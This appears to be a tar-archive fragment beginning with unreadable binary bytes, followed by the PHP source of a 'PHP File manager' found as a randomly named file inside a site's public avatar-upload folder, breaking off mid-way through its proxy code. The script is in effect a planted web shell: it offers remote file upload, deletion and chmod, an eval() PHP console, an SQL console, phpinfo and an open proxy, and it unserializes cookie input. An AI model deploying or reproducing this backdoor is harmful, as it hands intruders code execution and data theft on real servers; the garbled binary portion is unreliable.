�#!�_�E�0�S�/�@Rob�ʇrP��UT�2>E�O�SX��0>�\1�[P�&؀���-���"�j��1J��!��3+�@����V^
sa—�Շ��P���_��I�����;�'0ƴ}f�S��Ǥ�&7��8FI�?��S�tM;��{����e_�X��+ݓ	W�C�c#�8��Qʱ

<3��|&��r�q��hVWo����C����p("��\����D�@��f��o�~Y����go��Hi@�"�����W�G�ʹ*3����-fɋ�L��<�}Pa�P?��*�M��m�O?>��J3k$�8|��UTDP��=��07{H��'�����+�����繀�xv#,W�����L &-~��
�M��AK�[���{O�M$�&���������B+��n�0�4F�S���Ӌ��\կ��e����y��k3�Y����܃�����7Y��V#&��q��;N�KH�����I˔��O��f�0��e�l�[\,,�<F�z�α�-��RZO�I��s���5� ~�i��}������c��ߐb0��+o��4�@�6��`�����0��5�Ԭ5�R���j�>�v�gO��t�q
��P&h}��G��E�8K�a��P8Xh�<�6G�[�#N�?ܤ��F�3��Xq�����
�.���<s����}k��H,�F?f��q�1�{4s����ɥx?9	ö�8��_����`���eJC�{�*-+4EPα�м=�ӄ��OU�,�3�6`���'���J��)�I�����ƹ)��.MT���W<��d���5t�磑�	)��m���x{�F�OH�	ʿ3�O,�q�Yȇ��1�k�~��u2�}�|'#���!�{��#�j���"a��3[�
[������9��]�����~Y������ϱ<�Kx�}F��k0V�OM�s��b蔦�\�%�9^�3�n�����7}|�>� �!
5п��d�MT�{�̼��]�^۞���������A��,��{��g��6�?l8�z�XV�^��LT5�u�����H��$�X���#'�]ҽ��%Bi�x���l����.�SB|�E�vȋ"�X�2�m����0����H7x��z��N�B��F������[�EA�X��˾f\>�)���C�sM�m��5
Ei|V���`�\�@��EG�����o6�hO<��b������:���sD�!5�x�HTc�A�[��S�c}�f����p((��P�+㮙h0de�h/�C+�A/���/J���˔���!�Ha:Mz�l���{��d6�>H"���frӕZk�G{zZ�@��
����B�-b{x��Bg�9{�-�����tvf9�k�R*閚����B�R�I��uk
`J�����Eȹ���L�����U�h�h�p����w��P��;���t�~`�'���Ne<�S�Bu!O����2;�+r����0�j��_���bs0C�f �=ŦX\����:���̤>AC2�k�n�H�gV�F���B���kH�6�ͪ���`Wꪏt+�7!<��(P��& 	�r���M�����0��&Me�`p��*~�tp�ܥ�7n�r���s�Q��㞜DZ�|�Owl����Գ�˹��܈(��J���7�jF��K+�ʐcF�_�e"������%J��5������I6ӥ��
u��5"�u�����fɮs�Bݝ��&?9���&�\w���n��.�/I$��������l����։�|��
X��Q�:�x�xIן������$I�^�&��K�#�0���4��D�
Ȇ��L���
��@�JQ��lhx��r�Q��:�ߌF;�V�D1���Uʈ�@V|���qci:[��o�`�ƱD��Dg�SA �l���+�2��#aز�"f9څ(�"W�Lrdv��d^�G͍���O�0�3�mQQp&+=��{�t�<��S��T��	Z�Q���|��V��?��D)�T����6�}��� ;�\L�ƕy���xz݊�5��/Qu4'W|�ko�88
k�sc
�9pK? 0���
$�J�)��X�e�Dbhd���9s��Y����h}��hN������߾&�A�U��	H�H���(���:�y��2�a-���>&���� :C��c�c�k&H�		t�&�~?I��R�\0N-�"��5�Y���H6:�.�m���t;2`����D�&
Ts�ŮEXA��Q�	c��di�ž�pƍ(luq�Q�03����j�o�0��m&ˊ��`ͥ�C�`>38�U�@�̋E9�?�P�h��N#�Q��FD1�����Q�ޙh>ܟ�2mF��:¡��wt*��:��lڞ������ul��|b����m�	n�&ѷ�(Nx�-U�A+��c�{��ô��C�F��>�3�u�~��:#��ax��k8*��x��Xv��C��=����XI��9M��ɏ�C?5S�}k���O����G,��FX���T띶�c`<�W�$��X;��8�CF^��<D�s��
Q�^o2O*�'Z�2<�0�&{����&��Ǫd�;���,��'z��T��?��g��;j~��n-KlY�f,"�̚.���l����I�]����O�����&�!���I׌9�3�������)�A��&s^�q�_��������Au�nʨs��e��ӓ�D3ĩ=݃��!N;�A�,�N�,lLr��USmV�<��XȌl��z��W�1�7}g19�d�g_4Q�̶b2$?^~�FJ
�uNF��ٹS�q�Q<-5��H��&h �D�^b�9S`}��rNQ@��$���v���e�	c�;�Xg����s��ۿ�
�n�>\�yS�u�U���L��~�q��U��#�,��qdG7���p�EЧplu5��+.�;I�ۀ��d�7F�m�"°��QQ�,;@޶�5�3�F�~PCbz�o3$oW.�,f��\�����D=�y����p~A�$�|�I�\X@��,�s#q�r!z���¡)%��xa=�&�BEIV����d�Π�;Cm����l���kZL\p��_?�툀0{J�	Ec����Blee��'����kն�9��l���z%cGf&yu���9�����[&$[>�[�4�����NVʑ[��d7��
&�K5{>����G놥������Ό�i:,�C.����$�N��d�Bh0�1`4�QH���{2��n���b���5ߑ����Q����g�Il��?�%:��L�w�H��]k0��
�����Յ"J�����`P�����P���a�;kpY�QT�l�4�����X�,�0Yn6X�yJ�3�5�*DӯP0Xqj��2�9��Ӈ�B��a-�4B2�N$����!j�fD
nj�7>,�}wt%�̄��1�ߩ1B�����9�~��P��T��,%qp0`>�
��&�vz��]x�[��WV#4G�=�?�-�N��asj#=�m�-�oM����	����Aӄ�������������1J2��������5@@G�TP�]�oR~`��P-7����h+�r::�y�O��Ɖ�3���إ\�k��;DC��.��Cm��-;�F=�
jGc^�������{�d�����E1��c��S�ϯۨ8=?��,��&���	K5N�{�&�������V~H|���,.����ϲVpq�su���Cӽ��)��M�cjb�}^�7P��Z�]D����%u��t�M_��rul2�8n��[���'��ex:�&��ܬ���(�nZ��+��*>��蛵��Qg=�ŋ�8/�F���<�b���5��!�]����)�`�O��E�2l�����#:��o�g�?�c@�#5p�B�]�1\��K'��^��}ԭ�U�gmsq�� u��3xo�Iˤp0�-�����l�)�����y�`�a
�w��#����n��{�a�#�M����������u-�JV�~�Y�=y
wk�#�a�j&�Q���B���?������?��XҪ�@PK!XҪ�@@10/4yd0ui/orb3c.php.tarnu�[���var/www/html/back/storage/app/public/avatars/10/4yd0ui/orb3c.php000064400000234756000000000000020230 0ustar00<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
